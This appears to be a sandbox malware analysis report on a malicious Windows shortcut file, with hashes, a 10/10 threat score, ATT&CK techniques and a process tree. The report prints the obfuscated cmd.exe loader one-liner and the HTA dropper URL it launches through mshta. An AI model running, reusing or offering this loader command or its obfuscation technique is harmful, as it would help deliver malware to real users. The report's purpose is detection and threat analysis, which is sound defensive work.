43aaf34d429c36718c2b215a8f6b5f02c061e4820db97d8c245b0cad9b50e342

Analysis

max time kernel
60s
max time network
45s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 09:46

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General

Target
DOC-8E5ZPM.lnk
Size 2KB
Sample260817-lrxmpaae94
SHA256 43aaf34d429c36718c2b215a8f6b5f02c061e4820db97d8c245b0cad9b50e342
MD5 daeaaeb58001c85fc940c1824630070b
SHA1 680a20636580872d91a82b279ab7594fd013e0df
SHA512 6efb12a4e0d1f5f675e32d3d3fff6ed9cd37323c27d83f988f97c53755df3e023b42760f2c409369669b562f9efafb2a1f37e981b4ce7624f9de9b23ffd88212
TLSH
T14741485039EA10D4F2BB8E76ECFE271049BBB5625DB1C69D0894810D1833F02E576B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4300	cmd.exe
1756	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 1756	4300	cmd.exe	90
PID 1756 wrote to memory of 4088	1756	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8E5ZPM.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4300
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set bIP=infjoicsbljahdfcvqeihdeinf&&set LqnA=sysxufwrbbmywxsys&&set lZ=cacheolooyudqpcache&&set LYs=0ksom7&&set aeePz=pltarrjs&&set jRxnh=gtcu&&set AFxf=datefxjdat&&set BfjOD=62mms3p4&&set dudK=e6ghr7x&&set Ia=pgtat1&&set wbMsm=cfgzkwasacfg&&set snp=cfgaymidmaxcfg&&set ycfWl=http@s@://ma@-pdffil@[email protected]@at@/@h@/@e@s@t@[email protected]@?r=@391469FB5D82@DB&&start /b !BfjOD:~3,2!!dudK:~3,1!!Ia:~2,2! !ycfWl:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4088-1-0x00000165816C0000-0x0000016581DE5000-memory.dmp

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